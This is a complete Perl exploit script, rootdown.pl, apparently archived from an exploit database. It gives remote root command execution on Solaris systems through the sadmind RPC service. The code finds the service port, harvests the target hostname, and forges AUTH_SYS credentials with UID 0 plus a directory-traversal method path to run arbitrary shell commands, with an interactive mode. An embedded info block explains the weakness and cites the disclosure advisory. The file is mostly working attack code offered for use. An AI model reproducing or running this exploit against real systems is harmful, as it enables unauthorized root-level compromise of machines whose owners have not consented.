File size: 13,299 Bytes
497f2f3 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 | #!/usr/bin/perl -w
##################
##
# Title: rootdown.pl
# Purpose: Solaris Remote command executiong via sadmind
# Author: H D Moore hdm at metasploit.com
# Copyright: Copyright (C) 2003 METASPLOIT.COM
##
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
use Getopt::Std;
my $VERSION = "1.0";
my %opts;
getopts("h:p:c:r:iv", \%opts);
if ($opts{v}) { show_info() }
if (! $opts{h}) { usage() }
my $target_host = $opts{h};
my $target_name = "exploit";
my $command = $opts{c} ? $opts{c} : "touch /tmp/OWNED_BY_SADMIND_\$\$";
my $portmap = $opts{r} ? $opts{r} : 111;
##
# Determine the port used by sadmind
##
my $target_port = $opts{p} ? $opts{p} : rpc_getport($target_host, $portmap, 100232, 10);
if (! $target_port)
{
print STDERR "Error: could not determine port used by sadmind\n";
exit(0);
}
##
# Determine the hostname of the target
##
my $s = rpc_socket($target_host, $target_port);
my $x = rpc_sadmin_exec($target_name, "id");
print $s $x;
my $r = rpc_read($s);
close ($s);
if ($r && $r =~ m/Security exception on host (.*)\. USER/)
{
$target_name = $1;
} else {
print STDERR "Error: could not obtain target hostname.\n";
exit(0);
}
##
# Execute commands :)
##
my $interactive = 0;
if ($opts{i}) { $interactive++ }
do {
if ($opts{i}) { $command = command_prompt() } else
{
print STDERR "Executing command on '$target_name' via port $target_port\n";
}
$s = rpc_socket($target_host, $target_port);
$x = rpc_sadmin_exec($target_name, $command);
print $s $x;
$r = rpc_read($s);
close ($s);
if ($r)
{
# Command Failed
if (length($r) == 36 && substr($r, 24, 4) eq "\x00\x00\x00\x29")
{
print STDERR "Error: something went wrong with the RPC format.\n";
exit(0);
}
# Command might have failed
if (length($r) == 36 && substr($r, 24, 4) eq "\x00\x00\x00\x2b")
{
print STDERR "Error: something may have gone wrong with the sadmind format\n";
}
# Confirmed success
if (length($r) == 36 && substr($r, 24, 12) eq ("\x00" x 12))
{
print STDERR "Success: your command has been executed successfully.\n";
}
if (length($r) != 36) { print STDERR "Unknown Response: $r\n" }
} else {
print STDERR "Error: no response recieved, you may want to try again.\n";
exit(0);
}
} while ($interactive);
exit(0);
sub usage {
print STDERR "\n";
print STDERR "+-----==[ rootdown.pl => Solaris SADMIND Remote Command Execution\n\n";
print STDERR " Usage: $0 -h <target> -c <command> [options]\n";
print STDERR " Options:\n";
print STDERR " -i\tStart interactive mode (for multiple commands)\n";
print STDERR " -p\tAvoid the portmapper and use this sadmind port\n";
print STDERR " -r\tQuery alternate portmapper on this UDP port\n";
print STDERR " -v\tDisplay information about this exploit\n";
print STDERR "\n\n";
exit(0);
}
sub show_info {
print "\n\n";
print " Name: rootdown.pl\n";
print " Author: H D Moore <hdm\@metasploit.com>\n";
print "Version: $VERSION\n\n";
# not finsihed :)
print
"This exploit targets a weakness in the default security settings
of the sadmind RPC application. This application is installed and
enabled by default on most versions of the Solaris operating
system.\n\n".
"The sadmind application defaults to a weak security mode known as
AUTH_SYS (or AUTH_UNIX under Linux/BSD). When running in this mode,
the service will accept a structure containing the user and group
IDs as well as the originating system name. These values are not
validated in any form and are completely controlled by the client.
If the standard sadmin RPC API calls are used to generate the request,
the ADM_CLIENT_HOST parameter is filled in with the hostname of the
client system. If the RPC packet is modified so that this field is
set to the hostname of the remote system, it will be processed as
if it was a local request. If the user ID is set to zero or the
value of any user in the sysadmin group, it is possible to call
arbitrary methods in any class available to sadmind.\n\n".
"If the Solstice AdminSuite client software has not been installed,
the only class available is 'system', which only contains a single
method called 'admpipe'. The strings within this program seem to
suggest that it can be used run arbitrary commands, however I chose
a different method of command execution. Since each method is simply
an executable in the class directory, it is possible to use a
standard directory traversal attack to execute any application.
We can pass arguments to these methods using the standard API.
An example of spawning a shell which executes the 'id' command:
# apm -c system -m ../../../../../bin/sh -a arg1=-c arg2=id\n\n".
"To exploit this vulnerability, we must create a RPC packet that
calls the '/bin/sh' method, passing it the parameter of the command
we want to execute. To do this, packet dumps of the 'apm' tool
were obtained and the format was slowly mapped. The hostname of
the target system must be known for this exploit to work, however
when sadmind is called with the wrong name, it replies with a
'ACCESS DENIED' error message containing the correct name. The
final code does the following:
1) Queries the portmapper to determine the sadmind port
2) Sends an invalid request to sadmind to obtain the hostname
3) Uses the hostname to forge the RPC packet and execute commands
This vulnerability was reported by Mark Zielinski and disclosed by iDefense.
Related URLs:
- http://www.idefense.com/advisory/09.16.03.txt
- http://docs.sun.com/db/doc/816-0211/6m6nc676b?a=view
";
exit(0);
}
sub command_prompt {
select(STDOUT); $|++;
print STDOUT "\nsadmind> ";
my $command = <STDIN>;
chomp($command);
if (! $command || lc($command) eq "quit" || lc($command) eq "exit")
{
print "\nExiting interactive mode...\n";
exit(0);
}
return ($command)
}
sub rpc_socket {
my ($target_host, $target_port) = @_;
my $s = IO::Socket::INET->new
(
PeerAddr => $target_host,
PeerPort => $target_port,
Proto => "udp",
Type => SOCK_DGRAM
);
if (! $s)
{
print "\nError: could not create socket to target: $!\n";
exit(0);
}
select($s); $|++;
select(STDOUT); $|++;
nonblock($s);
return($s);
}
sub rpc_read {
my ($s) = @_;
my $sel = IO::Select->new($s);
my $res;
my @fds = $sel->can_read(4);
foreach (@fds) { $res .= <$s>; }
return $res;
}
sub nonblock {
my ($fd) = @_;
my $flags = fcntl($fd, F_GETFL,0);
fcntl($fd, F_SETFL, $flags|O_NONBLOCK);
}
sub rpc_getport {
my ($target_host, $target_port, $prog, $vers) = @_;
my $s = rpc_socket($target_host, $target_port);
my $portmap_req =
pack("L", rand() * 0xffffffff) . # XID
"\x00\x00\x00\x00". # Call
"\x00\x00\x00\x02". # RPC Version
"\x00\x01\x86\xa0". # Program Number (PORTMAP)
"\x00\x00\x00\x02". # Program Version (2)
"\x00\x00\x00\x03". # Procedure (getport)
("\x00" x 16). # Credentials and Verifier
pack("N", $prog) .
pack("N", $vers).
pack("N", 0x11). # Protocol: UDP
pack("N", 0x00); # Port: 0
print $s $portmap_req;
my $r = rpc_read($s);
close ($s);
if (length($r) == 28)
{
my $prog_port = unpack("N",substr($r, 24, 4));
return($prog_port);
}
return undef;
}
sub rpc_sadmin_exec {
my ($hostname, $command) = @_;
my $packed_host = $hostname . ("\x00" x (59 - length($hostname)));
my $rpc =
pack("L", rand() * 0xffffffff) . # XID
"\x00\x00\x00\x00". # Call
"\x00\x00\x00\x02". # RPC Version
"\x00\x01\x87\x88". # Program Number (SADMIND)
"\x00\x00\x00\x0a". # Program Version (10)
"\x00\x00\x00\x01". # Procedure
"\x00\x00\x00\x01"; # Credentials (UNIX)
# Auth Length is filled in
# pad it up to multiples of 4
my $rpc_hostname = $hostname;
while (length($rpc_hostname) % 4 != 0) { $rpc_hostname .= "\x00" }
my $rpc_auth =
# Time Stamp
pack("N", time() + 20001) .
# Machine Name
pack("N", length($hostname)) . $rpc_hostname .
"\x00\x00\x00\x00". # UID = 0
"\x00\x00\x00\x00". # GID = 0
"\x00\x00\x00\x00"; # No Extra Groups
$rpc .= pack("N", length($rpc_auth)) . $rpc_auth . ("\x00" x 8);
my $header =
# Another Time Stamp
reverse(pack("L", time() + 20005)) .
"\x00\x07\x45\xdf".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04".
"\x7f\x00\x00\x01". # 127.0.0.1
"\x00\x01\x87\x88". # SADMIND
"\x00\x00\x00\x0a\x00\x00\x00\x04".
"\x7f\x00\x00\x01". # 127.0.0.1
"\x00\x01\x87\x88". # SADMIND
"\x00\x00\x00\x0a\x00\x00\x00\x11\x00\x00\x00\x1e".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00".
"\x00\x00\x00\x3b". $packed_host.
"\x00\x00\x00\x00\x06" . "system".
"\x00\x00\x00\x00\x00\x15". "../../../../../bin/sh". "\x00\x00\x00";
# Append Body Length ^-- Here
my $body =
"\x00\x00\x00\x0e". "ADM_FW_VERSION".
"\x00\x00\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00".
"\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x08". "ADM_LANG".
"\x00\x00\x00\x09\x00\x00\x00\x02\x00\x00".
"\x00\x01". "C" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x0d". "ADM_REQUESTID".
"\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x12\x00\x00\x00\x11".
"0810:1010101010:1"."\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x09". "ADM_CLASS".
"\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x07".
"\x00\x00\x00\x06" . "system" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x0e" . "ADM_CLASS_VERS" .
"\x00\x00\x00\x00\x00\x09\x00\x00\x00\x04".
"\x00\x00\x00\x03". "2.1".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x0a" . "ADM_METHOD" .
"\x00\x00\x00\x00\x00\x09\x00\x00\x00\x16".
"\x00\x00\x00\x15". "../../../../../bin/sh" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x08". "ADM_HOST" .
"\x00\x00\x00\x09\x00\x00\x00\x3c\x00\x00\x00\x3b".
$packed_host.
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x0f". "ADM_CLIENT_HOST".
"\x00\x00\x00\x00\x09".
pack("N", length($hostname) + 1) .
pack("N", length($hostname)) .
$rpc_hostname .
"\x00\x00\x00\x00". "\x00\x00\x00\x00".
"\x00\x00\x00\x11" . "ADM_CLIENT_DOMAIN".
"\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x11" . "ADM_TIMEOUT_PARMS".
"\x00\x00\x00\x00\x00".
"\x00\x09\x00\x00\x00\x1c".
"\x00\x00\x00\x1b" . "TTL=0 PTO=20 PCNT=2 PDLY=30".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x09" . "ADM_FENCE" .
"\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x01\x58\x00\x00\x00\x00\x00\x00\x09\x00".
"\x00\x00\x03\x00\x00\x00\x02" . "-c" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x59\x00".
"\x00\x00\x00\x00\x00\x09\x00\x00\x02\x01\x00\x00\x02\x00".
$command . ("\x00" x (512 - length($command))).
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10".
"netmgt_endofargs";
my $res = $rpc . $header . pack("N", (length($body) + 4 + length($header)) - 330) . $body;
return($res);
}
# milw0rm.com [2003-09-19] |